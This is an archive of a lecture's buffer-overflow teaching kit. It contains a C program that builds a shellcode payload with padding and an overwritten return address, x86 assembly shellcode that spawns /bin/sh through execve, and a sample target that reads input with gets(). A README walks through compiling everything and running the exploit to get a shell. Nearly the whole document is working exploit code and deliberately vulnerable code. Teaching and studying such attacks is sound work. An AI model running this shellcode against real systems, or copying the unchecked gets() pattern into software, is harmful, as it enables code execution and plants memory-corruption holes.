src/call-exploit.c0100644001553600001440000001230310055355022014001 0ustar neuhaususers/* Use this program to create a shellcode file. See get_parameters() * for how to use this program. For our example, total_bytes should * be 308 and the return address should be the return address that * you've written down when you ran the overflow-sample program. * * For the example in the lecture, you could call this program as * * ./call-exploit bin 308 bffff98c > shellcode * (cat shellcode; cat) | ./overflow-sample * */ #include #include #include #include extern void exploit(void); extern const unsigned char exploit_start; extern const unsigned char exploit_end; enum format_t { hex, oct, bin }; typedef void (*voidfunc) (void); void put_formatted_byte(unsigned char byte, enum format_t format, FILE *fp) { if (format == bin) fwrite(&byte, 1, 1, fp); else { if (isgraph(byte) && !isspace(byte)) putchar(byte); else if (format == hex) printf ("\\x%02x", byte); else printf("\\%03o", byte); } } static void hexdump(const char *func, const char *arg, size_t len) { int row; const unsigned char *buf = (const unsigned char *) arg; printf ("%s\n", func); row = 0; while (16*row < len) { int offset; printf ("%8p ", buf + 8*row); for (offset = 16*row; offset < 16*(row + 1) && offset < len; offset++) printf (" %02x", buf[offset]); for (; offset < 16*(row + 1); offset++) printf (" "); printf (" "); for (offset = 16*row; offset < 16*(row + 1) && offset < len; offset++) printf ("%c", isgraph(buf[offset]) ? buf[offset] : '.'); printf("\n"); row++; } } void shellcode(int total_bytes, unsigned char *return_address) { const unsigned char *s; int i; union { unsigned char b[sizeof(unsigned char *)]; unsigned char *a; } address; fwrite(&exploit_start, 1, &exploit_end - &exploit_start - 1, stdout); for (i = &exploit_end - &exploit_start; i < total_bytes - sizeof(return_address); i++) putchar('X'); address.a = return_address; for (i = 0; i < sizeof(unsigned char *); i++) fwrite(address.b, 1, sizeof(unsigned char *), stdout); } void print_shellcode(enum format_t format, int total_bytes, unsigned char *return_address) { const unsigned char *s; int i; union { unsigned char b[sizeof(unsigned char *)]; unsigned char *a; } address; for (s = &exploit_start; s < &exploit_end - 1; s++) put_formatted_byte(*s, format, stdout); put_formatted_byte('X', format, stdout); for (i = &exploit_end - &exploit_start; i < total_bytes - sizeof(return_address); i++) put_formatted_byte('X', format, stdout); address.a = return_address; for (i = 0; i < sizeof(unsigned char *); i++) put_formatted_byte(address.b[i], format, stdout); if (format != bin) putchar('\n'); fflush(stdout); } /* voidfunc shellcode_on_stack (void) { unsigned char buffer[300]; const unsigned char *s; int i; for (i = 0, s = &exploit_start; s < &exploit_end; s++, i++) { buffer[i] = *s; } return (voidfunc) buffer; } */ void overflow_me (void) { unsigned char buffer[300]; unsigned char **return_address; const unsigned char *s; int i; printf("Return address must be %p\n", buffer); for (i = 0; i < sizeof(buffer); i++) buffer[i] = 0; /*hexdump("before", buffer, sizeof(buffer) + 16);*/ for (i = 0, s = &exploit_start; s < &exploit_end - 1; s++, i++) buffer[i] = *s; for (; i < sizeof(buffer) + 4; i++) buffer[i] = 'a'; return_address = (unsigned char **) (buffer + sizeof(buffer) + 4); *return_address = buffer; /*hexdump("after", buffer, sizeof(buffer) + 16);*/ } void exploit_me(int print_info) { unsigned char buffer[300]; int i; int info_copy = print_info; fprintf (stderr, "Return address is %p\n", buffer); for (i = 0; i < sizeof(buffer); i++) buffer[i] = 0; /* if (info_copy) hexdump("before", buffer, sizeof(buffer) + 16); */ gets(buffer); /* if (info_copy) hexdump("after", buffer, sizeof(buffer) + 16); */ } struct parameters_t { enum format_t format; int total_size; unsigned char *return_address; }; static struct parameters_t get_parameters(int argc, const char *argv[]) { struct parameters_t parameters; if (argc < 2) parameters.format = oct; else if (strcmp(argv[1], "oct") == 0) parameters.format = oct; else if (strcmp(argv[1], "hex") == 0) parameters.format = hex; else if (strcmp(argv[1], "bin") == 0) parameters.format = bin; else parameters.format = oct; if (argc < 3) parameters.total_size = 304; else parameters.total_size = atoi(argv[2]); if (argc < 4) parameters.return_address = (unsigned char *) 0x01020304; else { union { long l; unsigned char *p; } address; sscanf(argv[3], "%lx", &address.l); parameters.return_address = address.p; } return parameters; } int main(int argc, const char* argv[]) { struct parameters_t parameters = get_parameters(argc, argv); /*voidfunc f; */ print_shellcode(parameters.format, parameters.total_size, parameters.return_address); exploit_me(parameters.format != bin); /*overflow_me();*/ /* f = shellcode_on_stack(); f(); */ /*exploit();*/ return 2; } src/exploit.s0100644001553600001440000000155710021632176013122 0ustar neuhaususers.data .align 4 .globl exploit .globl exploit_start .globl exploit_end .type exploit,@function .type exploit_start,@object .type exploit_end,@object exploit_start: exploit: jmp .L2 .L1: popl %ebx # load program name to execute xorl %eax,%eax # zero %eax movl %ebx,8(%ebx) # build argument list movl %eax,12(%ebx) # null-terminate argument list movb %al,7(%ebx) # null-terminate "/bin/sh" string movb $0xb,%al # load opcode for execve system call leal 8(%ebx),%ecx # load argument list leal 12(%ebx),%edx # load environment list int $0x80 # make system call xorl %eax,%eax inc %eax # opcode for exit system call movl %eax,%ebx # exit code 1 int $0x80 # make system call .L2: call .L1 .string "/bin/sh" # %ebx will point to start of this string exploit_end: src/overflow-sample.c0100644001553600001440000000034210055355055014534 0ustar neuhaususers#include void exploit_me() { char buffer[300]; printf("Return address must be %p\n", buffer); gets(buffer); printf("%s\n", buffer); } int main(int argc, const char* argv[]) { exploit_me(); return 1; } README.txt0100600001553600001440000000106210055355677012157 0ustar neuhaususersInstructions for use: 1. Compile overflow-sample.c: gcc -g -O -Wall overflow-sample.c -o overflow-sample 2. Assemble exploit.s: gcc -c -o exploit.o exploit.s 3. Compile call-exploit: gcc -g -O -Wall call-exploit.c exploit.o -o call-exploit 4. Run overflow-sample and note the return address 5. Run call-exploit like this: ./call-exploit bin 308 return-address > exploit where is the address noted when you ran overflow-sample 6. Exploit overflow-sample: (cat exploit; cat) | ./overflow-sample Now you can enter commands in a shell.